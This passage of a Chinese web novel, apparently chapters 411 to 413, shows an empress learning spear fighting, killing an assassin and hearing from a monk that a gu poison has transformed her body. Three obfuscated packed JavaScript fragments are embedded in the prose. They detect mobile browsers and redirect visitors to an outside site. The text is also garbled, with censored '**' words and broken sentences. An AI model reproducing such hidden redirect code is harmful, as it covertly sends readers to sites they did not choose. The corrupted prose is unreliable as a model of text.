凤凰周身的羽毛用五彩丝线绣成,在光影交错间,泛着绮丽的色泽,红似火,粉像霞,蓝若深海,绿如翠玉,黄同骄阳,每一针每一线都倾注了绣工的毕生心血,绣出了这世间罕有的奢华。 更为惊人的是,这凤袍之上,每隔一寸,便镶嵌有一颗拇指大小的祖母绿宝石,宝石深邃的绿色与凤袍的艳丽色彩相互映衬,散发着冷冽而高贵的光芒,使得整件凤袍熠熠生辉,价值连城。 拖地的凤袍拖尾更是令人惊叹,长达二十米,用上等的雪貂皮**镶边,柔软而华贵。 拖尾上绣着的云海翻腾图,白色的丝线勾勒出层层云海,虚实相生,如梦如幻,凤凰穿梭其中,时隐时现。 不仅如此,拖尾的边缘还镶嵌着一排罕见的蓝钻,每一颗蓝钻都经过能工巧匠的精心打磨,呈现出完美的八面体形状,在光线的折射下,散发出幽蓝深邃的光芒,璀璨夺目。 随着慕容嫣的走动,拖尾拖曳在地,蓝钻闪烁,似银河倾落凡尘,所过之处,光芒闪耀,让人不敢逼视。 刘妙颜眼中闪过一丝惊艳,但却没有很羡慕。 因为她根本就不喜欢这一套繁华的衣服,还是劲装穿起来更舒服些。 她笑着迎上前去:“微臣参见陛下。” 她边说边将**递给身旁的侍从,拍了拍手,掸去身上的尘土。 慕容嫣望着刘妙颜,眼中满是歆羡,恨不得现在就化身为勇猛无敌的大将军,上阵杀敌:“颜颜,你现在就教朕练武如何?” 刘妙颜上前一步,目光炯炯:“微臣遵旨。” 说练就练,二人移步至空旷之地。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15303591|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刘妙颜先是耐心地为慕容嫣讲解**的基本要领,从手的握姿、步伐的挪移,到发力的诀窍,事无巨细。 慕容嫣听得专注,眼中满是求知的渴望,不时轻轻点头,不时自己模仿。 初时,慕容嫣**的手还有些颤抖,动作生硬迟缓,但她骨子里透着股不服输的劲儿,一遍又一遍地重复着刘妙颜示范的招式,一招一式逐渐有了模样。 刘妙颜在旁悉心指导,适时纠正她的偏差,赞道:“陛下聪慧过人,学得这般快,假以时日,必能有所成。” 慕容嫣微微一笑,汗水顺着脸颊滑落,在阳光的映照下,宛如细碎的珍珠,却未曾停下手中动作。 时光仿若白驹过隙,二人沉浸于武艺的研习,浑然不觉天色渐暗。 慕容嫣完整流畅地使出一套枪法,收势而立,面露欣喜之时,变故突生。 屋顶上,一道黑影如鬼魅般闪现,紧接着,寒光一闪,一名刺客猛地抽出长剑,裹挟着凌厉的杀气,直刺慕容嫣咽喉。 那剑来得又快又狠,仿若毒蛇吐信,剑风呼啸,吹起慕容嫣的鬓发。 慕容嫣因为身体被当年的药物改造,反应极快,而且嗅觉十分灵敏,几乎是瞬间察觉危险。 她身形一晃,侧身一闪,那柄夺命长剑堪堪擦过她的脖颈,险险避开这惊天一剑。 用看孙女眼光看热闹的慕容无舌大惊失色,脸瞬间就白了! “陛下!”言罢欲合身扑上。 刘妙颜亦是脸色剧变,手中**一抖,就要上前护驾。 慕容嫣却柳眉倒竖,娇喝一声:“退下!朕倒要看看刚学会的武功好不好使!” 她的声音坚定有力,透着不容置疑的帝王威严。 此时的她,凤冠依旧端正,只是几缕发丝散落下来,增添了几分凌乱的美感;凤袍随风猎猎作响,拖尾在身后蜿蜒铺陈,那璀璨的宝石与华美的绣纹在这生死关头竟也散发着别样的气势。 说罢,慕容嫣手持**,枪尖朝下,身姿矫健如猎豹,眼神紧紧锁住刺客,周身散发出一股凌厉的战意。 刺客见一击未中,本想逃命,谁知道慕容嫣居然还主动冲了上来。 你也太侮辱我们这个职业了吧? 要是连你这个美娇娘都杀不掉,老子以后还怎么在圈里混? 刺客恼羞成怒,大吼一声,再次挥剑扑来,剑招犹如**,密不透风。 慕容嫣毫不畏惧,施展开白日所学枪法,以攻为守,枪尖与剑尖相互碰撞,火花四溅,清脆的撞击声不绝于耳。 慕容嫣身姿灵动,辗转腾挪间,凤袍的拖尾好似一片绚丽的彩云,在空中划出优美的弧线。 她瞅准刺客剑招的一个破绽,猛地挺**出,枪尖直奔刺客胸口。 刺客侧身躲避,却不料慕容嫣变招极快,枪杆一横,狠狠抽向刺客腰间。 刺客吃痛,脚步踉跄,攻势一顿。 慕容嫣趁势而上,一套枪法使得行云流水,步步紧逼。 刺客虽竭力抵挡,却渐落下风。 但此人亦是高手,在绝境之中,瞅准慕容嫣换气的瞬间,拼尽全力掷出手中长剑。 慕容嫣躲闪不及,长剑划破她的手臂,鲜血瞬间渗出,染红了凤袍的一角。 “陛下!!” “陛下!!” 慕容嫣却仿若未觉疼痛,咬紧牙关,大喝一声,手中**带着千钧之力,狠狠刺向刺客咽喉。 刺客避无可避,瞪大双眼,轰然倒地。 慕容嫣长舒一口气,拄枪而立,虽面色苍白,发丝凌乱,凤袍破损染血,但那股子从战斗中磨砺出的英气与威严,却让人不敢直视。 刘妙颜与慕容无舌快步上前,满脸关切。 刘妙颜焦急道:“陛下,您受伤了,快传御医!” 慕容嫣摆了摆手,嘴角勾起一抹淡淡的笑容:“呵呵呵呵,无妨,真是痛快。原来打架是这么痛快的事情,早知道朕早就习武了!哈哈哈哈!” 慕容嫣仰天长笑,浑身上下散发着说不出来的豪迈之气。 而慕容无舌与刘妙颜都是面面相觑。 这个刺客不是很厉害,如果是她们二人出手可能瞬间将其制服。 但慕容嫣是什么水平?她才学了不到一天的武功啊! 尤其是刘妙颜,羡慕得要死。 “陛下.您这身体,也太强悍了吧?” 第411章 腊月十五 学武功这件事情绝不是一蹴而就的,刘妙颜很小就懂得这个道理。 她之所以武功高强,除了有个牛逼的师父外,跟她这么多年的不懈努力脱不了干系,可即便如此,她也没办法超过慕容无舌。 因为慕容无舌几十年来从没有荒废过修炼。 早起晨练,晚上夜练;冬练三九,夏练三伏。 七十好几的人比三十几岁的社畜还有劲儿,就差头悬梁锥刺股了。 可即便如此,也没见他武功突飞猛进,用他老人家的话说就是:练武精进的太快会走火入魔。 但慕容嫣今天的展现实在太匪夷所思了。 刘妙颜可以肯定,慕容嫣在今天上午还是个连拿枪都不会的普通人,但仅仅一个下午的时间就能够与潜行进宫的刺客打个平手,甚至在最后关头将刺客拿下。 这.这还是人吗?难道她真的是凤凰重生? 院子里,刘妙颜难以置信地打量着慕容嫣,说道:“陛下,您这身体也太强悍了吧? 慕容嫣看了看自己手上的血:“朕也不知道,朕只知道你教给朕的东西,朕都学会了。 “嘶要不我们来打一场试试?刘妙颜现在有一种感觉,那就是自己不一定是慕容嫣的对手。 或者说,如果对阵超过五十招,自己必输。 因为慕容嫣的学习能力实在太强了,就在刚刚,他居然可以用刺客的招式反杀刺客,这就证明,慕容嫣打斗的过程,其实就是她学习的过程,而且她可以在短时间内将学习的招式融会贯通。 不过显然慕容嫣不会伤害刘妙颜,所以她想和慕容嫣打一架试试,万一自己也能学到东西也说不定。 谁知道慕容嫣还没说话,无舌就站出来呵斥道:“放肆!颜颜,你怎可对陛下无礼! “无妨。慕容嫣摆了摆手,“晚些再练练吧,眼下先把这个刺客扔出去,看着心烦。 慕容无舌冷汗直流。 刺客能进宫,就说明御林军内部出了问题,百骑司那边也罪责难逃。 今夜,又不知道会有多少人的脑袋悬挂在城楼上。 无舌说道:“陛下,老奴这就去。言罢他看向刘妙颜。 “保护好陛下,若是除了差池,老夫拿你是问! “是,师父。 慕容无舌伸出手指,在刺客身上一通乱摸,最后在腰间摸出个玉佩。 上面有两个大字。 煊赫。 难道又是煊赫门?这帮犊子就这么执着吗 ? 慕容无舌扛起刺客的尸体走向外面,忽然觉得那里有些不对。 嘶.这刺客武功并不高,想在宫里刺杀慕容嫣简直是天方夜谭。 那他来干什么? 送死? 他送死的意义在哪? 不对,这里面肯定有问题。 慕容无舌只是太监,对这些阴谋诡计想不太明白,他只好扛着尸体飞奔,想着把林臻找过来问问。 腊月十五,夜幕低垂,如墨的苍穹之上一轮满月高悬,洒下清冷光辉,轻柔地覆着这宫闱深处。 御花园中,暖亭孤立,四周积雪皑皑,在月色映照下泛着幽冷的光。 慕容嫣**于暖亭之中,凤椅之上的她宛如夜空中最璀璨的星辰,却又透着拒人千里之外的疏离。 那凤冠以纯金打造,其上镶嵌着红宝石、蓝宝石、猫儿眼等各色珍宝,颗颗硕大圆润,在月光下折射出五彩华光,恰似繁星点缀。 中心的凤凰造型振翅欲飞,凤喙微张,似在引吭高歌,每一片羽毛都雕琢得细致入微,仿佛有风拂过便能翩然舞动。 凤袍裹身,金丝银线绣就的凤凰翱翔于云海之间,栩栩如生,袍角的海浪纹随着她的呼吸轻轻起伏,仿若真的有波涛在奔涌,领口与袖口的貂毛蓬松柔软,散发着淡淡的光晕,不仅驱散了周身寒意,更衬得她雍容华贵。 身后那二十米长的拖尾,自暖亭缓缓铺陈开来,一直延伸至回廊深处,其上用珍珠、玉石串联成各式祥瑞图案,每走一步,便发出轻微的碰撞声,似在低吟着宫廷的乐章。 慕容嫣身姿挺拔,脊背未曾有半分弯曲,她微微仰头,凝视着那轮明月,月光为她的面庞勾勒出一道清冷的轮廓。 眉如远黛,双眸深邃似幽潭,却藏着旁人难以窥探的思绪,琼鼻挺秀,唇若点樱,此刻紧抿着,透着坚毅。 雪花偶尔簌簌飘落,有的落在她的肩头,有的融入她的发丝,她仿若未觉,就这般遗世独立,仿若这世间的纷扰都与她无关。 暖亭之中,唯有她与这寒月、凤冠、凤袍、拖尾相互映衬,构成一幅绝美却孤傲的画面,诉说着高处不胜寒的寂寥。 急促的脚步声打破了这份静谧。 林臻下午的时候刚找棋牌佛,本想一起进宫,就看到无舌急匆匆赶了过来,说慕容嫣被刺客所伤,于是扔下棋牌佛自己骑马赶来。 脚下的积雪被踩得“咯吱”作响,额前发丝凌乱,显然是一路疾行未曾停歇。 刚踏入暖亭,林臻目光便紧紧锁住慕容 嫣眼中的焦急与关切似要溢出来了。 “嫣儿你伤到哪里了?”嗓音因赶路而带着几分沙哑。 慕容嫣闻声转过头来见是他嘴角轻扬扯出一抹淡然的微笑试图宽慰道。 “只是一点皮外伤而已你瞧朕这不是好好的。”那笑容在月色下仿若蒙尘的明珠让林臻不禁心下稍安。 林臻却并未因此释怀他眉头紧锁神色瞬间一凛周身散发着冷峻的气息寒声斥道。 “御林军那群废物居然让刺客混进宫来!还有百骑司他们既然是负责情报的竟连刺客进城都不知道!老子倒要好好问问他们!” 他的双拳紧握在身侧指节泛白显然是愤怒到极点。 这不光是慕容嫣安慰的问题最重要的是防卫上的疏漏和皇族颜面! 堂堂天下第一强国的皇帝居然说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15308517|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被刺杀就被刺杀以后大乾威严何在? 慕容嫣又该如何震慑群臣!如何统领天下!? 不管是谁干的林臻都必须让他们付出血的代价! 慕容嫣微微叹了口气玉手轻轻抚过凤袍上的绣纹平静地说道:“朕已经把今天巡防的百骑司的脑袋砍了下来挂在皇宫门口了。目前所有百骑司的人手都散播了出去还没有消息传回来。御林军人多眼杂牵一发而动全身若贸然处置恐生乱子还得从长计议。” 她的眼神透着帝王的果决与无奈在清冷月光下更显深邃。 林臻心中忧虑如潮水翻涌哪能就此作罢上前一步柔声道:“还是让我看看你伤在了哪里?” 说罢双手毫无顾忌地在慕容嫣身上搜找起来。 “哎呀哈哈哈哈。”慕容嫣瞧着他这副紧张模样心底涌起一股暖流忍不住痴痴傻笑。 就在林臻准备扯掉她肚兜的时候慕容嫣终是抬手撩起凤袍那宽大的袖子露出一段欺霜赛雪的手臂。 可如此娇嫩欲滴的手臂上居然有一道触目惊心的伤口割裂了这份美好。 伤口处的皮肉向外翻卷血迹干涸后凝结成暗红色的痂在白皙肌肤映衬下愈发显得惨烈。 林臻瞬间眼珠子就红了。 “妈的这帮狗东西!” 慕容嫣把手臂藏起来说道:“夫君不用担心御医已经上过金疮药了几天就会好的。” “屁!宫里那帮御医懂什么?万一破伤风怎么办?这哪是撒点金疮药就行的?不行我得派人喊孙神仙喊来 “夫君!!真的不碍 事!”慕容嫣一把拉住林臻。 林臻这才想起来,怒火中烧地指了指慕容嫣脑门:“还有你!堂堂大乾皇帝居然要和刺客过招,你是不是闲的?刚学会点武功就嘚瑟,以后还怎么得了。” “夫君,臣妾也不是有意的嘛,就是一时兴起想试试。”堂堂皇帝被林臻训斥得委屈巴巴,眼看着都要掉眼泪了。 林臻却依旧怒气不消。 这仅仅是一起微不足道的刺杀,万一下次真的来个高手怎么办?慕容嫣再这么嚣张下去迟早得被害死。 “警告你,以后练武可以,但关键时刻必须让别人动手,不能自己以身犯险!” “朕知道啦.” 林臻继续咬牙切齿道:“这次不管是不是煊赫门干的,我都绝不会让他们好过!你放心,我立刻找人去南楚给楚霸天传递消息,交出韩天星,否则大乾即可挥师南下!我要让他们知道,敢犯我大乾、伤我老婆的人,都必须付出代价!” 他的声音低沉却掷地有声,在空旷的暖亭间回荡,惊落了枝头积雪,簌簌纷扬,似也在为他的誓言佐证。 而慕容嫣望着他决绝的模样,眼中满是动容与信赖,寒夜的风悄然拂过,吹不散这暖亭之中弥漫的深情与决绝。 慕容嫣拉着他坐下,亲自给林臻斟茶,说道:“好啦好啦,夫君先消消气,朕都没发你这么大脾气。” 第412章 噬心蛊的好处 倒不是林臻发脾气而是这件事情实在做得太过火了。 对方简直没拿大乾的皇宫当回事说来就来。 虽然没能说走就走但林臻还是很不爽利。 既然知道韩天星是煊赫门门主林臻觉得不再坐以待毙直接让南楚交出韩天星否则就挥师南下或者各方面封锁必须让煊赫门付出应有的代价才行。 若不然大乾威严何在?全世界又该如何嘲笑慕容嫣。 暖亭之内炭火盆中炭火正旺偶尔发出“噼啪”的轻微爆裂声却驱不散林臻周身的寒意。 他一把抓起桌上的茶盏将滚烫的茶水一饮而尽放下茶盏时力道重了些发出“砰”的一声闷响茶水溅出几滴洇湿了桌面。 慕容嫣见他如此轻轻摇头玉手拿起茶壶再次为他斟满轻声问道:“夫君你不是说要带棋牌佛一起来吗?” 林臻深吸一口气努力平复着情绪抬眸看向她应道:“我带来了只是心系你的安危骑马一路狂奔赶过来速度太快。算算时间他也该到了。” 话音刚落暖亭外的积雪传来轻微的“咯吱”声麝月迈着碎步匆匆而入身姿婀娜却不敢抬头直视轻声禀告:“陛下有个自称棋牌佛的人求见。” 慕容嫣神色平静微微点头示意。 麝月福了福身 不多时一个身影晃了进来众人定睛一看竟是个衣衫褴褛的光头和尚。 这大冷的腊月天他却只穿着一件袒胸的单衣精瘦的胸膛袒露在外皮肤泛着古铜色似是不惧严寒。 手中还握着一把破旧的扇子扇面上的墨画已有些模糊不清也不知绘的是何景致。 他大剌剌地走进来既不跪地磕头只是双手合十朝慕容嫣作了个揖朗声道:“贫僧参见陛下、世子。” 慕容嫣瞧他这副不羁模样因着是林臻的朋友便也没多在意只轻轻点了点头问道。 “棋牌佛世子说你有通天彻地之能上知五百年下知五百年。朕要问你朕的身体为何会短时间内力量大增而且学习东西的速度飞快?说得好朕重重有赏。” 慕容嫣拿棋牌佛当小吏呢还说重重有赏。 棋牌佛一双眼睛滴溜溜一转开口问道:“陛下您可还记得当年吃的是什么东西?” 慕容嫣微微皱眉陷入回忆片刻后说道:“朕自然记得是一种黑色的丹药。” “那您可知道丹药的来历 ?” “是母妃给朕的。” “陛下金口玉言可不能说瞎话啊。” “嗯?” 棋牌佛的无礼让慕容嫣有些懊恼。 林臻说道:“嫣儿你就实话实说没事的。” “好吧朕虽然不知道丹药的确切来历但听无舌说是先帝时期的巫医所打造的强身健体的丹药本来是给军队用的但是后来.” “后来却没有反应先帝想自己试药但是又担心有毒所以让您以身试药。可对?” “没错。” “嘿嘿嘿。”棋牌佛嘿嘿一笑露出一口参差不齐的黄牙手中扇子有一下没一下地开合着发出“嘎吱嘎吱”的声响说道。 “那贫僧再问陛下一件事情您的身体是否是与世子行房后才发生变化的?” 这话一出口暖亭内的气氛瞬间变得有些微妙。 林臻眉头一皱刚要开口斥责慕容嫣却抢先回答:“不应该就是最近这段时间发生的事情。” 棋牌佛脑袋一歪若有所思接着追问:“可是一个月前的事情?” 慕容嫣下意识地点头。 棋牌佛脸上顿时露出恍然之色一拍大腿道:“这就对了!” 慕容嫣心中疑惑更甚目光紧紧锁住棋牌佛追问道:“你这话究竟何意?莫要卖关子速速道来。” 棋牌佛收起嬉笑之色正了正神色环顾一圈暖亭见众人皆屏气敛息等待他的下文才缓缓开口:“陛下您可知一月前那夜月食之际天地灵气紊乱阴气大盛。贫僧夜观天象察觉异样料到必有异事发生。据贫僧推测您如今身体的变化恐与那夜吸纳的一股神秘阴气有关而这阴气的源头极有可能是宫闱深处某样邪物作祟。” 说罢他用扇子指了指皇宫的西北角方向眼神中透着几分凝重。 慕容嫣顺着他所指方向望去心中不禁泛起一阵寒意那西北角不正是当时楚惜灵住的衡芜院吗? 难道是楚惜灵的噬心蛊? 林臻显然也想到了这一层问道:“你是说噬心蛊?” “没错陛下所服下的丹药其实与南楚皇帝给公主们下的丹药如出一辙只不过 世子因为被楚夫人种下噬心蛊从而心脏被吞噬往后只要与世子行房的女子都会被噬心蛊影响 身体,当然,能达到陛下这种程度的,只有您一人而已。因为您身体里有激发潜力的丹毒,只要噬心蛊的毒素进入身体,丹毒立刻被激发,从而爆发出难以想象的潜力。” 慕容嫣都听懵了。 大脑中枢,毒素,这都什么意思啊? 但是林臻听懂了,大概意思就是说,慕容嫣的身体因为噬心蛊的原因也经过了改造,变成了超级赛亚小能人。 他问道:“这对身体有害吗?” 棋牌佛沉吟道:“不好说,因为世间从没有人能在噬心蛊的幻境中活下来,更别说被噬心蛊影响的其他人了。但是就目前来看,肯定是好处多于坏处。” 林臻想了想也确实如此,因为自己并没有发现身体有任何异样,甚至比以前更加健康,寒冬腊月不穿衣服也不会觉得冷。 但是棋牌佛.他难道也不冷吗? 林臻问道:“你是不是也被噬心蛊改造了?” 棋牌佛笑得有点腼腆:“呵呵呵,贫僧才没那个福气呢。” “说的也是。” 搞清楚前因后果,慕容嫣也就不好奇了。 她问道:“大师想要点什么奖励啊?” “贫僧善解疑难杂症,不需要赏赐。” “行,既然这样朕就难为你的赤胆忠心了,你退下吧。” “诶别别别!”棋牌佛连忙摆手。 贫僧就是客气客气,你这娘们什么路子啊? 还真不给啊? 他看向正在憋笑的林臻:“世子,贫僧大冷天得折腾一趟,好歹也得” “你想要什么就说,在我现在还装什么有礼貌?” “你可真是个糙人,连最起码的谦虚都不懂,唉,罢了,贫僧一把年纪就不和你这小辈计较了。”言罢棋牌佛指了指石桌上的烟袋,“贫僧就要你的烟袋锅子。” 林臻看了看,随手拿起递给他:“烟丝去找灵儿要吧,能不能要来就看你自己的了。” “哈哈哈哈,贫僧多谢世子!!”说完象征性地对慕容嫣行了个礼,转身退下。 慕容嫣狐疑地看着他背影,问林臻:“夫君,这和尚可靠吗?” “可靠,他虽然吊儿郎当的,但应该不会说谎骗我们,而且也没这个必要。” 说到这,林臻沉吟道:“不过听他的意思,噬心蛊的作用应该还不止于此,我们可以再观察观察。” “好。” 林臻当晚回去王府,慕容嫣则是回自己寝宫休息。 晨曦初露, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15308518|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 淡薄的日光透过 雕花窗棂,悄然洒落在慕容嫣的寝宫之中。 慕容嫣悠悠转醒,下意识地抬手轻抚昨日受伤的部位,指尖触碰到的却不再是粗糙的痂皮,而是一片嫩滑。 她心中一惊,猛地坐起身来,定睛细看,只见那原本结痂的位置不知何时已然脱落,下面粉嫩的软肉袒露在外,伤口竟以肉眼可见的速度愈合着,只留下一道浅浅的红痕。 慕容嫣眼神中闪过一丝疑惑,不过这转瞬即逝。 这应该就是噬心蛊的作用,让身体愈合能力也异于常人。 她很开心,因为这噬心蛊不管怎么看都是好处多多。 她莲足轻点床榻,起身站定,清脆开口:“麝月,伺候朕更衣。” “是。”麝月早已候在一旁,闻声赶忙捧起那华丽厚重的凤袍,小心翼翼地为慕容嫣披上。 凤袍上身,金丝银缕交织出的威严图案在晨光下熠熠生辉,每一道绣纹都在诉说着皇家的尊荣。 慕容嫣微微昂首,任由麝月为她整理衣摆,系好腰带,随后莲手拿起搁置在一旁的**。那**杆身乌亮,枪尖寒芒闪烁,与她此刻身着的凤袍形成一种刚柔并济的独特美感。 这是百骑司送来的联系用**,至于她专属的凤凰枪,武清那边刚刚接到命令,正在加紧打造。 迈出寝宫,晨光倾洒在庭院之中,将一切都镀上了一层淡淡的金边。 刘妙颜身姿矫健,早已在庭院中央舞动**,枪影翻飞,如蛟龙出海,带起阵阵劲风,吹得周围的花草簌簌作响。 慕容嫣见状,眼眸中瞬间燃起斗志,清声大喝:“颜颜,我们走几招!” 言罢,她莲步轻移,瞬间加入对阵。 刘妙颜听到呼喊,回头见是慕容嫣,嘴角上扬,露出一个自信的笑容,手中**一抖,改变招式,直刺慕容嫣而去。 慕容嫣不慌不忙,凤冠之下,双眸炯炯有神,手中**一横,“当”的一声脆响,轻松挡下这一击。 那凤冠乃是纯金打造,其上镶嵌着红宝石、蓝宝石、猫儿眼等各色珍宝,颗颗硕大圆润,在晨光的映照下折射出五彩华光。 此时随着她这一横枪的动作,凤冠微微晃动,那些珠宝相互碰撞,发出清脆悦耳的叮当声,似在奏响战歌。 紧接着,慕容嫣身形一转,凤袍的二十米拖尾好似哪吒的混天绫一般,在空中划出一道绚丽的弧线,随着她的动作猎猎作响。 凤袍上用金线绣成的凤凰翱翔于云海之间,栩栩如生,袍角的海浪纹随着她的转身起伏波动,领口与袖口的貂毛蓬松柔软,散发着淡淡的光晕,不仅驱散了周身寒意,更衬得她雍容华贵。 此刻拖尾扫过地面,扬起细微的尘土,仿若一条舞动的**,威风凛凛。 慕容嫣**一抖,枪尖如灵蛇吐信,直逼刘妙颜咽喉,刘妙颜侧身一闪,反手一记回马枪,两人你来我往,一时间庭院中枪影重重,分不清谁是谁的。 慕容嫣虽身着凤袍,头戴凤冠,行动却不见丝毫拖沓。 身姿婀娜却又透着凌厉,枪法精湛,一招一式皆有章法,全然不见昨日受伤的柔弱模样。 刘妙颜亦是巾帼不让须眉,手中**使得出神入化,两人相互切磋,互不相让,引得周围侍奉的宫女太监们纷纷侧目,惊叹声此起彼伏。 但慕容嫣与刘妙颜沉浸在对战的酣畅淋漓之中,哪顾得上旁人目光。 此刻的她们,一个是凤仪天下的皇帝,一个是英姿飒爽的女将,在这晨光映照的庭院里,尽情展现着属于女子的豪迈与力量。 第413章 晨练 晨阳穿透淡薄云层,细碎光芒倾洒在寝殿前的院子上。 慕容嫣与刘妙颜刚刚打了一个回合,此刻两人分开,各站一边。 慕容嫣身姿挺拔如松,手中那杆**,枪杆乌沉似铁,却又透着温润光泽,枪尖寒芒吞吐,宛如破晓时分撕裂苍穹的第一缕曙光,冷冽且夺目,隐隐散发着一股让人心悸的威压。 再看她身上这袭凤袍,以金线织就凤凰主体,红绸为底,恰似浴火重生的凤凰栖息于晚霞之中。 每一根金丝都勾勒出凤凰羽毛的细腻纹理,随着她轻微的呼吸起伏,凤凰仿若在振翅欲飞,欲破袍而去,翱翔九霄。 领口处,一圈细密的珍珠环绕,颗颗饱满圆润,散发着柔和的光晕,衬得她脖颈修长,宛如天鹅。 袖口宽大,绣着精致的祥云图案,每当她舞动**,袖口飘动,便如同祥云朵朵,簇拥着凤凰。 凤冠之上,明珠熠熠生辉,垂下的珠帘以水晶和珍珠串联,微微晃动间,碰撞出清脆声响,既遮住了她眼中偶尔闪过的凌厉锋芒,又似为她的面庞添了一层神秘面纱,让人难以窥探其全部心绪。 正中的那颗红宝石,足有鸽蛋大小,宛如一团燃烧的烈焰,将她整个人的气场都烘托得更加高贵威严。 而那长达二十米的拖尾,宛如天河蜿蜒于地,锦缎之上,用五彩丝线绣满奇花异草、珍禽瑞兽。一端稳稳固定于慕容嫣纤细腰间,另一端自由舒展,仿若有灵。 绣着的牡丹娇艳欲滴,国色天香。仙鹤振翅欲飞,栩栩如生。 刘妙颜同样英姿飒爽,身着劲装,手持**,枪身修长,寒光闪烁,似能划破长空。她双眸紧盯慕容嫣,恰似猎豹锁定猎物,脚步轻点,肌肉紧绷,随时准备暴起突袭。 “陛下,微臣得罪了!” “喝!”一声清啸,刘妙颜率先发难,手中**一抖,枪尖如流星般直刺慕容嫣咽喉,速度之快,仿若闪电划过夜空,劲道十足,带起一阵呼啸风声。 慕容嫣美目一凝,不慌不忙,眼中瞬间闪过一道精芒,手中**一横,“当”的一声巨响,精准地挡开这致命一击。 枪尖碰撞处火星四溅,金属撞击声仿若敲响了战鼓,激昂回荡在练武场每一寸角落。 这猛烈碰撞之下,慕容嫣借力腾空而起,身姿轻盈如燕。 刹那间,凤袍猎猎作响,仿若烈烈燃烧的火焰,袍角飞扬,恰似凤凰展翅时掀起的风云。 凤冠上的珠帘疯狂晃动,珍珠水晶相互撞击,发出急促的叮咚声,宛如为 她奏响的战歌。 而那惊世骇俗的二十米拖尾,仿若被注入狂暴力量,在半空之中蜿蜒盘旋,似一条正在苏醒的上古神凰,肆意翻卷,拖尾末梢抽打在地面,发出“啪啪巨响,扬起大片尘土,以慕容嫣为中心,形成一股小型的沙尘暴,令刘妙颜视线受阻。 刘妙颜眼神一紧,凭借着敏锐的直觉迅速收枪,而后枪杆舞动,在空中划出一片密不透风的枪幕,护住周身,以防慕容嫣趁乱突袭。 慕容嫣在空中一个凤凰翻身,动作干净利落,凤袍顺势裹紧身体,拖尾仿若忠诚的护卫紧跟其后,待稳稳落地,她**一挺,枪尖如猎豹扑食般迅猛刺向刘妙颜心窝,快若惊鸿。 刘妙颜匆忙间横枪抵挡,身形急速后退,脚下青砖“咔嚓 慕容嫣攻势不停,**如灵动游蛇,左挑右刺,上撩下砸,每一枪都带着千钧之力,枪影漫天,仿若布下一座枪林,将刘妙颜困于其中。 凤袍随着她的舞动飘舞不止,凤凰图案仿若活了过来,在枪影火光中穿梭翱翔,拖尾更是神来之笔,时而平铺于地,仿若红毯铺陈,迷惑刘妙颜的脚步;时而高高扬起,如泰山压顶般朝刘妙颜当头罩下,带着呼啸风声,令刘妙颜防不胜防。 慕容嫣眼神冷峻如霜,紧盯着刘妙颜的一举一动。 她的面容冷峻而坚毅,嘴角微微上扬,露出一抹自信的浅笑,似在嘲笑对手的无力。 每一次**的挥舞,她的凤冠都会随之轻轻晃动,珠帘摇曳生姿,水晶和珍珠的光芒闪烁不定,与枪尖的寒芒相映成趣。 刘妙颜咬牙强撑,**奋力劈砍,试图冲破枪影封锁,但体力渐感不支,枪法渐渐凌乱。 慕容嫣瞧出破绽,**猛地一个回旋,枪杆携着呼呼风声,狠狠砸向刘妙颜后背。 刘妙颜躲闪不及,被击中倒地,**脱手而出,“哐当落地。 慕容嫣**抵住刘妙颜脖颈,凤袍在微风中轻轻摆动,拖尾仿若欢庆胜利的彩带,在空中舒缓飘拂,光芒璀璨夺目。 此时的她,站在院子中央宛如战神临世,凤袍与拖尾相得益彰,尽显巾帼英雄的豪迈风姿。 “哈哈哈哈,颜颜,你输了! 刘妙颜练武多年,如今竟败在一个学武还不到一天的人手上,她如何甘心? “还没有呢!只见她迅速从地上爬起,深吸一口气,调整气息,重新捡起**,摆出一副誓死一搏的架势。 慕容嫣见状,微微挑眉,眼中闪过一丝赞许 手中**一横枪尖朝下做出防御姿态同时凤袍随风而动拖尾在身后轻轻摆动似在蓄势待发。 刘妙颜大吼一声这次她改变战术不再贸然直冲而是围绕着慕容嫣快速游走**挥舞枪尖闪烁试图寻找慕容嫣防守的破绽。 慕容嫣不紧不慢以静制动随着刘妙颜的移动转动身体**始终保持着最佳防御角度凤袍和拖尾也跟着她的身形优雅地旋转仿佛在跳一曲华丽的战舞。 突然刘妙颜瞅准一个时机一个箭步冲上前**前伸枪尖直逼慕容嫣腹部大有将她捅穿之势。 慕容嫣反应迅速**向下一压“当”的一声震得刘妙颜手臂发麻**险些脱手。 但刘妙颜也是倔强之人借着下压之力**改为横扫攻向慕容嫣腰部。 